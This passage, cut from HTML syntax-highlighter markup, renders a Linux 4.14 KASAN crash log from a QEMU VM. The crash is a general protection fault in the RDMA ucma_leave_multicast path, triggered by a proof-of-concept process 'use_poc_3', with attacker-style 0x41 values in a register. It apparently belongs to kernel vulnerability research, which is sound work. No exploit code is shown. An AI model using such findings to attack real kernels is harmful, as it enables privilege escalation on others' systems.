-o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-1\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.954258<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">kasan<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">CONFIG_KASAN_INLINE <\/span><span class=\"crayon-i\">enabled<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-2\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.956513<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">kasan<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">GPF <\/span><span class=\"crayon-e\">could <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">caused <\/span><span class=\"crayon-e\">by <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">ptr <\/span><span class=\"crayon-e\">deref <\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">user<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-3\"><span class=\"crayon-e\">memory <\/span><span class=\"crayon-i\">access<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-4\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.959668<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">general <\/span><span class=\"crayon-e\">protection <\/span><span class=\"crayon-v\">fault<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-p\">#8] SMP KASAN PTI<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-5\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.962402<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Modules <\/span><span class=\"crayon-e\">linked <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">kvm_intel <\/span><span class=\"crayon-e\">joydev <\/span><span class=\"crayon-e\">ppdev <\/span><span class=\"crayon-e\">kvm <\/span><span class=\"crayon-e\">irqbypass<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-6\"><span class=\"crayon-e\">psmouse <\/span><span class=\"crayon-e\">e1000 <\/span><span class=\"crayon-e\">parport_pc <\/span><span class=\"crayon-e\">floppy <\/span><span class=\"crayon-e\">parport <\/span><span class=\"crayon-e\">pata_acpi <\/span><span class=\"crayon-e\">i2c_piix4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-7\"><span class=\"crayon-e\">qemu_fw_cfg <\/span><span class=\"crayon-e\">autofs4 <\/span><span class=\"crayon-e\">input_leds <\/span><span class=\"crayon-e\">serio_raw <\/span><span class=\"crayon-v\">mac<\/span><span class=\"crayon-sy\">_<\/span>hid<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-8\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.968486<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CPU<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PID<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4272<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Comm<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">use_poc_3 <\/span><span class=\"crayon-v\">Tainted<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">G<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">B<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">D<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">W<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-9\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">4.14.33<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\">#1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-10\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.971948<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Hardware <\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">QEMU <\/span><span class=\"crayon-e\">Standard <\/span><span class=\"crayon-e\">PC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">i440FX<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PIIX<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1996<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-11\"><span class=\"crayon-i\">BIOS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1.10.2<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1ubuntu1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">01<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2014<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-12\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.975340<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">task<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffff880085868040 <\/span><span class=\"crayon-v\">task<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stack<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffff880066e60000<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-13\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.977698<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RIP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0010<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">__mutex_lock<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2a9<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x1c00<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-14\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.979900<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RSP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0018<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-e\">ffff880066e67680 <\/span><span class=\"crayon-v\">EFLAGS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00010206<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-15\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.981902<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RAX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">dffffc0000000000 <\/span><span class=\"crayon-v\">RBX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4141414141414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RCX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-16\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.984623<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0828282828282828<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RSI<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDI<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000246<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-17\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.987391<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RBP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffff880066e67a70 <\/span><span class=\"crayon-v\">R08<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffff8313f0b2 <\/span><span class=\"crayon-v\">R09<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffff880085868040<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-18\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.990093<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffff880066e67548 <\/span><span class=\"crayon-v\">R11<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R12<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffff880066e677a0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-19\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.993642<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R13<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffff880066e67800 <\/span><span class=\"crayon-v\">R14<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffff880066e67880<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-20\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.996525<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">00007f1fdc554700<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0000<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">GS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-e\">ffff880097d00000<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0000<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-21\"><span class=\"crayon-v\">knlGS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">0000000000000000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-22\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">623.998753<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0010<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">DS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ES<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CR0<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000080050033<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-23\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.000779<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CR2<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007f1fe0622a08<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CR3<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000000007fe40000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CR4<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000000006e0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-24\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.002582<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Call <\/span><span class=\"crayon-v\">Trace<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-25\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.003570<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">debug_check_no_locks_freed<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2c0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x2c0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-26\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.004730<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_leave_multicast<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x472<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x9a0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-27\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.006545<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mutex_lock_io_nested<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1ad0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x1ad0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-28\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.008518<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">debug_check_no_locks_freed<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2c0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x2c0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-29\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.010548<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_leave_multicast<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x3cd<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x9a0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-30\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.011826<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lock_acquire<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x5b0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x5b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-31\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.012676<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">radix_tree_tagged<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x60<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x60<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-32\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.013884<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lock_acquire<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x20d<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x5b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-33\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.015467<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rdma_leave_multicast<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x541<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x820<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-34\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.017408<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lock_acquire<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x5b0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x5b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-35\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.018971<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lock_downgrade<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x820<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x820<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-36\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.020497<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__mutex_unlock_slowpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x170<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xcb0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-37\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.021855<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">radix_tree_tag_clear<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x350<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x350<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-38\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.023283<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">do_raw_spin_trylock<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1a0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x1a0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-39\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.024889<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">trace_hardirqs_on_thunk<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1a<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x1c<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-40\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.026230<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">retint_kernel<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x10<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-41\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.027714<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">mutex_lock_nested<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1b<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-42\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.029088<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mutex_lock_nested<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1b<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-43\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.030617<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ucma_leave_multicast<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x472<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x9a0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-44\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.031874<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_query_path<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">isra<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">11<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xa60<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xa60<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-45\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.033216<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lock_downgrade<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x820<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x820<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-46\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.034471<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">entry_SYSCALL_64_after_hwframe<\/span><span class=\"crayon-o\">+<\/span><span 